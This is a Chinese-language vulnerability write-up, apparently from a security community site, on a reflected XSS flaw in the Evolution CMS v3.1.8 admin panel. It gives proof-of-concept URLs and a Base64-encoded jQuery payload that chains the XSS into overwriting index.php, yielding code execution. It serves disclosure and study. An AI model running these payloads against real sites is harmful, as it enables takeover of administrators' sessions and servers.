Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞

Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞
 


 

漏洞分析

Evolution CMS 将自己描述为世界上最快和最可定制的开源 PHP CMS

Evolution CMS 中,我发现了用户控制数据的未转义显示,这导致了反射 XSS 攻击的可能性:
manager/views/page/user_roles/permission.blade.php

图片[1]-Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞-孤勇者社区

manager/views/page/user_roles/user_role.blade.php

图片[2]-Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞-孤勇者社区

manager/views/page/user_roles/permissions_groups.blade.php

图片[3]-Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞-孤勇者社区
 


 

漏洞复现

我将举一个带有有效负载的链接的示例。

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E

如果系统中授权的管理员点击该链接或点击该链接,则 javascript 代码将在管理员的浏览器中执行:

图片[4]-Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞-孤勇者社区

Evolution CMS 的管理面板中,在文件管理器部分,管理员可以上传文件。问题是它不能上传 php 文件,但是,它可以编辑现有的文件。

我们将给出一个示例 javascript 代码,它将用phpinfo()函数覆盖 index.php 文件:

$.get('/manager/?a=31',function(d) {
  let p = $(d).contents().find('input[name="path"]').val();
  $.ajax({
    url:'/manager/index.php',
    type:'POST',
    contentType:'application/x-www-form-urlencoded',
    data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
  );
});

是时候将有效负载和上面描述的 javascript 代码结合起来了,例如,可以用 Base64 编码:

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E

如果成功攻击系统中授权的管理员,index.php 文件将被攻击者放置在有效负载中的代码覆盖。在这种情况下,这是一个phpinfo()函数调用:

图片[5]-Evolution CMS v3.1.8 跨站点脚本(XSS)漏洞-孤勇者社区

Evolution CMS v3.1.8 中通过反射 XSS 实现远程代码执行

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞7赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像及严0